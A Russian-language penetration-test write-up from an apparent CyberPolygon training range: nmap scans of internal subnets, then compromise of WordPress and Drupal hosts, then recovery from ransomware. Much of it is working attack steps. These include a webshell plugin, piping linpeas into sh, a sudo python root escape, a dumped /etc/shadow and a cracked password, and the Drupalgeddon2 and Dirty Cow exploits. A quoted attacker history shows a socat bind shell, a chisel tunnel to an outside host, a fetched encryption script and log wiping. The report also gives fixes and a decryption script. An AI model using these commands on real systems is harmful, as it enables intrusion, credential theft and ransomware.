# Отчет ## Changelog (в сравнении с передыдущим) - добавили новые ip (Suricata + один забыли) - [декрипт файлов с машины 10.11.2.11](#Востановление-системы) - [декрипт файлов с машины 10.11.239.6](#Windows-Decrypt) - [получили пароль от Suricata](#Suricata) ## Разведка ### Данные сети Name |IP :-:|:-: DMZ |10.11.2.0/24 SERVERS | 10.11.3.0/24 OFFICE |10.11.4.0/24 ASU_TP1 |10.11.239.0/24 ASU_TP1|10.11.240.0/24 ### Айпишники **10.11.1.0** Name |IP :-:|:-: Suricata | 10.11.1.254 **10.11.2.0:** Name |IP :-:|:-: WordPress |[10.11.2.10](http://10.11.2.10/) Atrium | [10.11.2.11](http://10.11.2.11/) SLmail |10.11.2.12 DNS |10.11.2.53 **10.11.3.0:** Name |IP :-:|:-: Active Drirectory(?) | 10.11.3.10 mx1.company.local | 10.11.3.20 Active Drirectory(?) | 10.11.3.50 **10.11.4.0:** Name | IP :-:|:-: custarm.company.local | 10.11.4.6 ??(винда) |10.11.4.8 Microsoft Terminal Services (?) |10.11.4.10 Забыли | 10.11.4.13 **10.11.239.0:** Name | IP :-:|:-: Веб + Microsoft SQL Server | 10.11.239.5 ??(винда) | 10.11.239.6 **10.11.240.0:** Name | IP :-:|:-: Веб(JBoss) | 10.11.240.5 Веб(JBoss) | 10.11.240.6 Веб(JBoss) | 10.11.240.9 Веб(JBoss) | 10.11.240.10 ??(винда) | 10.11.240.14 ### 10.11.2.0 #### nmap ```bash nmap 10.11.2.10-12,53 -sV Host is up (0.0029s latency). Not shown: 996 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http nginx 1.14.2 3306/tcp open mysql MySQL (unauthorized) 8080/tcp open http nginx 1.14.2 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Nmap scan report for 10.11.2.11 Host is up (0.0028s latency). Not shown: 996 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0) 80/tcp open http Apache httpd 2.4.10 ((Debian)) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) Service Info: Host: CLEAN-DRUPAL; OS: Linux; CPE: cpe:/o:linux:linux_kernel Nmap scan report for 10.11.2.12 Host is up (0.0037s latency). Not shown: 985 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH for_Windows_8.6 (protocol 2.0) 25/tcp open smtp SLmail smtpd 5.5.0.4433 79/tcp open finger SLMail fingerd 106/tcp open pop3pw SLMail pop3pw 110/tcp open pop3 BVRP Software SLMAIL pop3d 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) 3389/tcp open ssl/ms-wbt-server? 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49156/tcp open msrpc Microsoft Windows RPC 49158/tcp open msrpc Microsoft Windows RPC Service Info: Host: elto-slmail; OS: Windows; CPE: cpe:/o:microsoft:windows Nmap scan report for 10.11.2.53 Host is up (0.0041s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) 53/tcp open domain ISC BIND Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` #### .11 ```bash nmap -A 10.11.2.11 Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-10 09:53 MSK Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Nmap scan report for 10.11.2.11 Host is up (0.0034s latency). Not shown: 996 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0) | ssh-hostkey: | 1024 87:7e:d3:a9:f1:17:1b:2d:74:85:e0:c9:b0:22:c6:a3 (DSA) | 2048 61:04:d9:37:2a:d8:5f:ac:51:ec:c0:64:c4:20:bd:f4 (RSA) |_ 256 cb:b6:01:57:7a:42:da:50:24:06:43:09:b9:3c:e8:cb (ECDSA) 80/tcp open http Apache httpd 2.4.10 ((Debian)) |_http-server-header: Apache/2.4.10 (Debian) |_http-generator: Drupal 7 (http://drupal.org) |_http-title: CyberPolygon | http-robots.txt: 36 disallowed entries (15 shown) | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |_/LICENSE.txt /MAINTAINERS.txt 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.2.14-Debian (workgroup: WORKGROUP) Service Info: Host: CLEAN-DRUPAL; OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: -1m04s, deviation: 0s, median: -1m04s | smb2-security-mode: | 3.0: |_ Message signing enabled but not required | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_nbstat: NetBIOS name: CLEAN-DRUPAL, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) | smb2-time: | date: 2022-03-10T06:52:33 |_ start_date: N/A | smb-os-discovery: | OS: Windows 6.1 (Samba 4.2.14-Debian) | Computer name: \x00 | NetBIOS computer name: CLEAN-DRUPAL\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2022-03-10T06:52:33+00:00 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.61 seconds ``` ### 10.11.3.0 #### nmap ```bash nmap 10.11.3.10,20,50 -sV Nmap scan report for 10.11.3.10 Host is up (0.0054s latency). Not shown: 987 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-03-10 05:55:47Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: company.local0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: company.local0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server Microsoft Terminal Services 5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) Service Info: Host: NS2; OS: Windows; CPE: cpe:/o:microsoft:windows Nmap scan report for 10.11.3.20 Host is up (0.0036s latency). Not shown: 973 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 25/tcp open smtp Microsoft Exchange smtpd 80/tcp open http Microsoft IIS httpd 10.0 81/tcp open http Microsoft IIS httpd 10.0 110/tcp open pop3 Microsoft Exchange 2007-2010 pop3d 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 443/tcp open ssl/http Microsoft IIS httpd 10.0 444/tcp open ssl/http Microsoft IIS httpd 10.0 445/tcp open microsoft-ds? 465/tcp open smtp Microsoft Exchange smtpd 587/tcp open smtp Microsoft Exchange smtpd 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 808/tcp open ccproxy-http? 995/tcp open ssl/pop3 Microsoft Exchange 2007-2010 pop3d 1801/tcp open msmq? 2103/tcp open msrpc Microsoft Windows RPC 2105/tcp open msrpc Microsoft Windows RPC 2107/tcp open msrpc Microsoft Windows RPC 2525/tcp open smtp Microsoft Exchange smtpd 3389/tcp open ms-wbt-server Microsoft Terminal Services 3800/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 3801/tcp open mc-nmf .NET Message Framing 3828/tcp open mc-nmf .NET Message Framing 6001/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 6007/tcp open msrpc Microsoft Windows RPC 6123/tcp open msrpc Microsoft Windows RPC 6543/tcp open msrpc Microsoft Windows RPC Service Info: Host: mx1.company.local; OS: Windows; CPE: cpe:/o:microsoft:windows Nmap scan report for 10.11.3.50 Host is up (0.0041s latency). Not shown: 988 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-03-10 05:55:58Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: company.local0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: company.local0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server Microsoft Terminal Services Service Info: Host: NS1; OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 7 IP addresses (7 hosts up) scanned in 66.04 seconds ``` ### 10.11.4.0 #### nmap ```bash nmap 10.11.4.6,8,10,13 -sV Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-10 09:06 MSK Nmap scan report for 10.11.4.6 Host is up (0.0022s latency). Not shown: 996 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 3389/tcp open ms-wbt-server Microsoft Terminal Services Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Nmap scan report for 10.11.4.8 Host is up (0.0021s latency). Not shown: 991 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH for_Windows_8.6 (protocol 2.0) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: company) 3389/tcp open ssl/ms-wbt-server? 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49175/tcp open msrpc Microsoft Windows RPC Service Info: Host: BUCHGARM; OS: Windows; CPE: cpe:/o:microsoft:windows Nmap scan report for 10.11.4.10 Host is up (0.66s latency). Not shown: 996 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 3389/tcp open ms-wbt-server Microsoft Terminal Services Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Nmap scan report for 10.11.4.13 Host is up (0.0036s latency). Not shown: 996 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 3389/tcp open ms-wbt-server Microsoft Terminal Services Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 4 IP addresses (4 hosts up) scanned in 81.60 seconds ``` ### 10.11.239.0 #### nmap ```bash nmap 10.11.239.5,6 -sV Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-10 09:09 MSK Stats: 0:00:37 elapsed; 0 hosts completed (2 up), 2 undergoing Service Scan Service scan Timing: About 52.63% done; ETC: 09:10 (0:00:32 remaining) Nmap scan report for 10.11.239.5 Host is up (0.0020s latency). Not shown: 990 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH for_Windows_8.6 (protocol 2.0) 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: company) 1433/tcp open ms-sql-s Microsoft SQL Server 2012 11.00.7001 3389/tcp open ssl/ms-wbt-server? 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC Service Info: Host: OIK-SERVER; OS: Windows; CPE: cpe:/o:microsoft:windows Nmap scan report for 10.11.239.6 Host is up (0.0011s latency). Not shown: 991 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH for_Windows_8.6 (protocol 2.0) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: company) 3389/tcp open ssl/ms-wbt-server? 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49176/tcp open msrpc Microsoft Windows RPC Service Info: Host: OIK-CLIENT; OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 2 IP addresses (2 hosts up) scanned in 81.77 seconds ``` ### 10.11.240.0 #### nmap ```bash nmap 10.11.240.5,6,9,10,14 -sV Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-10 09:12 MSK Stats: 0:00:18 elapsed; 0 hosts completed (5 up), 5 undergoing Service Scan Service scan Timing: About 42.11% done; ETC: 09:13 (0:00:23 remaining) Nmap scan report for 10.11.240.5 Host is up (0.0044s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 80/tcp open http JBoss Enterprise Application Platform Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Nmap scan report for 10.11.240.6 Host is up (0.0033s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 80/tcp open http JBoss Enterprise Application Platform Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Nmap scan report for 10.11.240.9 Host is up (0.0042s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 80/tcp open http JBoss Enterprise Application Platform Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Nmap scan report for 10.11.240.10 Host is up (0.0057s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 80/tcp open http JBoss Enterprise Application Platform Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Nmap scan report for 10.11.240.14 Host is up (0.0068s latency). Not shown: 989 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH for_Windows_8.6 (protocol 2.0) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) 3389/tcp open ssl/ms-wbt-server? 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49156/tcp open msrpc Microsoft Windows RPC 49157/tcp open msrpc Microsoft Windows RPC Service Info: Host: ELTO-ENTEK; OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 5 IP addresses (5 hosts up) scanned in 71.15 seconds ``` ## Wordpress (10.11.2.10) ### Атака С помощью nmap'а сканим сети, находим http://10.11.2.10/, там крутится wordpress. На нем находим классическую форму логина http://10.11.2.10/wp-login.php, дальше пробрутив логины, пароли находим креды админа `admin:admin`. У этого пользователя есть права на установку плагинов, установим плагин для вебшелла https://github.com/flozz/p0wny-shell и получим "пользовательский" доступ к машине. Дальше запустив `linpeas` ```bash curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh ``` увидим, что разрешенно выполнение `/bin/user/python` под суперпользователем без запроса пароля. Пропишем следущую команду и получим рутовый доступ ```bash sudo python -c ‘import os; os.system(“/bin/sh”)’ ``` Дальше сгенерировав открытый и закрытый ssh ключ, заливаем на тачку открытый ключ, что бы подключаться под root'ом через ssh. Подключившись по ssh и получив удобный шелл, вытащим хеши паролей ```bash $ cat /etc/shadow root:$6$V91B2eA4NLQDXkK.$8HMq13zriCVZq2Wdz4hQmq.wSJg6oDCa3ExX9LQKTTHT7s9gk6u45bCc2IzRzymrmxF8zegOh/YrAA8jyTCsz0:18779:0:99999:7::: daemon:*:18779:0:99999:7::: bin:*:18779:0:99999:7::: sys:*:18779:0:99999:7::: sync:*:18779:0:99999:7::: games:*:18779:0:99999:7::: man:*:18779:0:99999:7::: lp:*:18779:0:99999:7::: mail:*:18779:0:99999:7::: news:*:18779:0:99999:7::: uucp:*:18779:0:99999:7::: proxy:*:18779:0:99999:7::: www-data:*:18779:0:99999:7::: backup:*:18779:0:99999:7::: list:*:18779:0:99999:7::: irc:*:18779:0:99999:7::: gnats:*:18779:0:99999:7::: nobody:*:18779:0:99999:7::: _apt:*:18779:0:99999:7::: systemd-timesync:*:18779:0:99999:7::: systemd-network:*:18779:0:99999:7::: systemd-resolve:*:18779:0:99999:7::: messagebus:*:18779:0:99999:7::: sshd:*:18779:0:99999:7::: cadm:$6$FXKabw570kGSXnL6$FfQUkrSUB7HtFXWuAwJlSV/YrFB0Vel8nJ.sZ9dOV.P/0icxeY5N/mNjW8HK/WBY20KYhq84jkIw44yaym3jt1:18779:0:99999:7::: systemd-coredump:!!:18779:::::: mysql:!:18779:0:99999:7::: admin:$6$g.7PD1hmRs69HVHL$h/.STarcTEGBMGL4grwdgMm2gMBLj12xWRgm/Vu1p5uJObiImx3aYPyyAGK5O7nYQ.GEKr/xskRhEf5ZkXd4t1:19060:0:99999:7::: ``` ### Фикс - Поменять креды админа от wp. - Переконфигурировать файл `/etc/sudoers`, убрав или изменив строку`www-data ALL=(ALL:ALL) NOPASSWD: /usr/bin/python` ## Atrium (10.11.2.11) ### Атака #### Вариант 1 С помощью hascat'а крякнем пароль от пользователя admin, хеш которого мы получили с машины 10.11.2.10 ```bash hashcat -m 1800 -a 0 hashes.hash rockyou7.txt > $6$g.7PD1hmRs69HVHL$h/.STarcTEGBMGL4grwdgMm2gMBLj12xWRgm/Vu1p5uJObiImx3aYPyyAGK5O7nYQ.GEKr/xskRhEf5ZkXd4t1:Destiny1 ``` Залогинимся с кредами admin:Destiny1 по ssh к машине 10.11.2.11. ```bash ssh admin@10.11.2.11 admin@10.11.2.11's password: Oh! Hello there! You've been infected by GachiRansom, send 300$ to paypal:b.harrington@gmail.com to get your unecnryption key. ``` Получим интересное сообщение, которое гласит что наша машина зараженна малварью. (См. [Востановление-системы](#Востановление-системы)). Так как admin находится в sudo группе ```bash admin@elto-portal2:~$ id uid=1002(admin) gid=27(sudo) groups=27(sudo) ``` Без проблем зайдем под root'ом ```shell admin@elto-portal2:~$ sudo su root@elto-portal2:/home/admin# id uid=0(root) gid=0(root) groups=0(root) ``` #### Вариант 2 За счет [скана](#11) узнали версию drupal, она уязвима для CVE-2018-7600. Нашли сплойт под это CVE https://github.com/dreadlocked/Drupalgeddon2, запустили его и получили usershell от www-data ```bash ruby drupalgeddon2.rb ``` Информация о системе: `Linux version 3.16.0-4-amd64 (debian-kernel@lists.debian.org) (gcc version 4.8.4 (Debian 4.8.4-1) ) #1 SMP Debian 3.16.7-ckt9-2 (2015-04-13)` Данное ядро уязвимо к CVE-2016-5195 "Dirty Cow": Используя [POC](https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679) получаем консоль от пользовтеля root. ### Фикс - использовать более криптостойкий пароль - использование последней версии drupal - обновить линукс до последней версии ### Востановление системы Как уже говорилось, при конекте на машину по ssh получаем следущее сообщение `Oh! Hello there! You've been infected by GachiRansom, send 300$ to paypal:b.harrington@gmail.com to get your unecnryption key.` Зайдя под рутом и проверив его историю, найдем следущие подозрительные действия. ```bash setsid /var/www/html/socat tcp-l:8081,reuseaddr,fork exec:/bin/bash,pty,setsid,setpgid,stderr,ctty&&exit id;echo 0 > /proc/sys/vm/dirty_writeback_centisecs;exit setsid /var/www/html/chisel client 10.11.200.50:8083 R:socks 2>1 > /dev/null && exit wget http://10.11.200.50/encr.sh -O /var/www/html/encr.sh;exit chmod -R 777 /var/www/html;exit /var/www/html/encr.sh;exit rm -f /var/www/html/shell.php;exit rm -f /var/www/html/encr.sh;exit rm -f /var/www/html/sploit.c;exit setsid /var/www/html/socat tcp-l:8081,reuseaddr,fork exec:/bin/bash,pty,setsid,setpgid,stderr,ctty&&exit id;echo 0 > /proc/sys/vm/dirty_writeback_centisecs;exit setsid /var/www/html/chisel client 10.11.200.50:8083 R:socks 2>1 > /dev/null && exit cd /var/www/html/ rm *.encr chisel* socat* sploit* pkill -f socat; pkill -f chisel cp /home/debian/drupal-7.54/*.php /var/www/html cd /var/www/html/ rm *.encr chisel* socat* sploit* pkill -f socat; pkill -f chisel cp /home/debian/drupal-7.54/*.php /var/www/html cd /var/www/html/ rm *.encr chisel* socat* sploit* pkill -f socat; pkill -f chisel cp /home/debian/drupal-7.54/*.php /var/www/html cd /var/www/html/; rm *.encr chisel* socat* sploit*; pkill -f socat; pkill -f chisel; cp /home/debian/drupal-7.54/*.php /var/www/html echo "" > /var/log/apache2/other_vhosts_access.log; echo "" > /var/log/audit/audit.log setsid /var/www/html/socat tcp-l:8081,reuseaddr,fork exec:/bin/bash,pty,setsid,setpgid,stderr,ctty&&exit id;echo 0 > /proc/sys/vm/dirty_writeback_centisecs;exit setsid /var/www/html/chisel client 10.11.200.50:8083 R:socks 2>1 > /dev/null && exit wget http://10.11.200.50/encr.sh -O /var/www/html/encr.sh;exit chmod -R 777 /var/www/html;exit /var/www/html/encr.sh;exit rm -f /var/www/html/shell.php;exit rm -f /var/www/html/encr.sh;exit rm -f /var/www/html/sploit.c;exit cd /var/www/html/; rm *.encr chisel* socat* sploit*; pkill -f socat; pkill -f chisel; cp /home/debian/drupal-7.54/*.php /var/www/html echo "" > /var/log/apache2/other_vhosts_access.log; echo "" > /var/log/audit/audit.log setsid /var/www/html/socat tcp-l:8081,reuseaddr,fork exec:/bin/bash,pty,setsid,setpgid,stderr,ctty&&exit id;echo 0 > /proc/sys/vm/dirty_writeback_centisecs;exit setsid /var/www/html/chisel client 10.11.200.50:8083 R:socks 2>1 > /dev/null && exit wget http://10.11.200.50/encr.sh -O /var/www/html/encr.sh;exit chmod -R 777 /var/www/html;exit /var/www/html/encr.sh;exit rm -f /var/www/html/shell.php;exit rm -f /var/www/html/encr.sh;exit rm -f /var/www/html/sploit.c;exit setsid /var/www/html/socat tcp-l:8081,reuseaddr,fork exec:/bin/bash,pty,setsid,setpgid,stderr,ctty&&exit id;echo 0 > /proc/sys/vm/dirty_writeback_centisecs;exit setsid /var/www/html/chisel client 10.11.200.50:8083 R:socks 2>1 > /dev/null && exit wget http://10.11.200.50/encr.sh -O /var/www/html/encr.sh;exit chmod -R 777 /var/www/html;exit /var/www/html/encr.sh;exit rm -f /var/www/html/shell.php;exit rm -f /var/www/html/encr.sh;exit rm -f /var/www/html/sploit.c;exit cd /var/www/html/ ls setsid /var/www/html/socat tcp-l:8081,reuseaddr,fork exec:/bin/bash,pty,setsid,setpgid,stderr,ctty id;echo 0 > /proc/sys/vm/dirty_writeback_centisecs setsid /var/www/html/chisel client 10.11.200.50:8083 R:socks wget http://10.11.200.50/encr.sh -O /var/www/html/encr.sh;exit chmod -R 777 /var/www/html;exit /var/www/html/encr.sh;exit rm -f /var/www/html/shell.php;exit rm -f /var/www/html/encr.sh;exit rm -f /var/www/html/sploit.c;exit cd /var/www/html/ ls ps aux | grep socat pkill -f socat ps aux | grep chisel pkil -f chisel pkill -f chisel ls ls rm *.encr ls ls cp /home/debian/drupal-7.54/*.php . ls ls pkill -9 -f socat ``` Отсюда становится понятно, что нам нужно каким-то образом получить код, узнать что делает `encr.sh`, что бы попробовать востановить encrypt файлы. Посмотрим, что у нас есть в папке `/var/log` ```bash admin@elto-portal2:/var/log$ ls -la total 491756 drwxr-xr-x 10 root root 4096 Mar 11 06:25 . drwxr-xr-x 13 root root 4096 Aug 3 2020 .. drw-rw-rw- 2 root adm 4096 Aug 24 2020 apache2 drw-rw-rw- 2 root root 4096 Mar 2 09:26 apt drw-rw-rw- 2 root root 4096 Mar 11 05:42 audit -rw-rw-rw- 1 root utmp 7296 Mar 11 08:55 btmp -rw-rw-rw- 1 root utmp 0 Feb 19 06:25 btmp.1 -rw-rw-rw- 1 root adm 0 Feb 18 14:09 cloud-init.log -rw-rw-rw- 1 root root 46714 Mar 10 11:32 cloud-init-output.log -rw-rw-rw- 1 root adm 0 Mar 11 06:25 debug -rw-rw-rw- 1 root adm 70728 Mar 10 11:32 debug.1 -rw-rw-rw- 1 root adm 1830 Mar 2 09:25 debug.2.gz -rw-rw-rw- 1 root adm 1830 Feb 18 14:09 debug.3.gz -rw-rw-rw- 1 root root 0 Mar 3 06:25 dpkg.log -rw-rw-rw- 1 root root 3126 Mar 2 09:26 dpkg.log.1 drw-rw-rw- 2 root root 4096 Apr 25 2015 fsck -rw-rw-rw- 1 root adm 373351 Mar 11 05:42 kern.log -rw-rw-rw- 1 root adm 46757 Mar 5 14:36 kern.log.1 -rw-rw-rw- 1 root adm 102 Mar 2 01:50 kern.log.2.gz -rw-rw-rw- 1 root adm 8580 Feb 18 14:09 kern.log.3.gz -rw-rw-rw- 1 root root 292876 Mar 12 05:39 lastlog -rw-rw-rw- 1 root adm 241537737 Mar 12 05:39 messages -rw-rw-rw- 1 root adm 30783685 Mar 6 06:25 messages.1 -rw-rw-rw- 1 root adm 730340 Feb 28 06:25 messages.2.gz -rw-rw-rw- 1 root adm 95994 Feb 20 06:25 messages.3.gz -rw-rw-rw- 1 root adm 106109 Feb 19 06:25 messages.4.gz drw-rwSrw- 2 mysql adm 4096 Aug 24 2020 mysql -rw-rw-rw- 1 mysql adm 0 Jul 21 2020 mysql.err drw-rw-rw- 2 root root 4096 Aug 23 2020 proftpd drw-rw-rw- 3 root adm 4096 Mar 10 06:52 samba -rw-rw-rw- 1 root adm 8807092 Mar 12 05:39 syslog -rw-rw-rw- 1 root adm 218316278 Mar 11 06:25 syslog.1 -rw-rw-rw- 1 root adm 186733 Mar 10 06:25 syslog.2.gz -rw-rw-rw- 1 root adm 164768 Mar 9 06:25 syslog.3.gz -rw-rw-rw- 1 root adm 169079 Mar 8 06:25 syslog.4.gz -rw-rw-rw- 1 root adm 168838 Mar 7 06:25 syslog.5.gz -rw-rw-rw- 1 root adm 1098301 Mar 6 06:25 syslog.6.gz -rw-rw-rw- 1 root adm 96540 Mar 5 06:25 syslog.7.gz drw-rw-rw- 2 root adm 4096 Jun 9 2020 unattended-upgrades -rw-rw-rw- 1 root utmp 63744 Mar 12 05:39 wtmp -rw-rw-rw- 1 root utmp 0 Feb 19 06:25 wtmp.1 ``` В глаза сразу бросаются (большой размер и дата изменения >5 марта - даты изменеия, создания .encr файлов) `messages` и `messages.1` с ними и будем работать. Среди этих логов по ключевому слову `encr`, найдем строки следующего вида ```bash Mar 5 14:36:57 elto-portal2 tag_audit type=EXECVE msg=audit(1646476301.433:7313): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/11FLAG.txt" a7="-out" a8="/var/www/html/11FLAG.txt.encr" a9="-pass" a10="pass:45BC4F0B18" a11="-iv" a12="82262272B0DA75FF6A6613864AF3AEBC" ``` И так как злоумышленник пытался закриптить данные несколько раз, то нам нужно взять последнюю из таких строк, так как в каждой из них ключ и вектор инициализации различны. В нашем случае это будет строка ```bash Mar 5 14:36:57 elto-portal2 tag_audit type=EXECVE msg=audit(1646476301.433:7313): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/11FLAG.txt" a7="-out" a8="/var/www/html/11FLAG.txt.encr" a9="-pass" a10="pass:45BC4F0B18" a11="-iv" a12="82262272B0DA75FF6A6613864AF3AEBC" ``` Соберем на ее основе bash команду для декрипта ```bash openssl enc -aes-256-cbc -d -a -in "encr_file" -out "decr_file" -pass pass:45BC4F0B18 -iv 82262272B0DA75FF6A6613864AF3AEBC" ``` И уже на основе этой команды напишем небольшой питоновский скриптец для декрипта всех файлов в директории. ```python= from os import listdir import os onlyfiles = [f for f in listdir()] prefix = ".encr" def decrtpt_file(filename): out = filename[:-len(prefix)] os.system("openssl enc -aes-256-cbc -d -a -in "+filename+" -out "+out+" -pass pass:45BC4F0B18 -iv 82262272B0DA75FF6A6613864AF3AEBC") for f in onlyfiles: if(f.count(prefix)>0): decrtpt_file(f) ``` Прочитаем расшифрованный флаг ```bash admin@elto-portal2:/var/www/html$ cat 11FLAG.txt Accidit in puncto, quod non speratur in anno. ``` Флаг: `Accidit in puncto, quod non 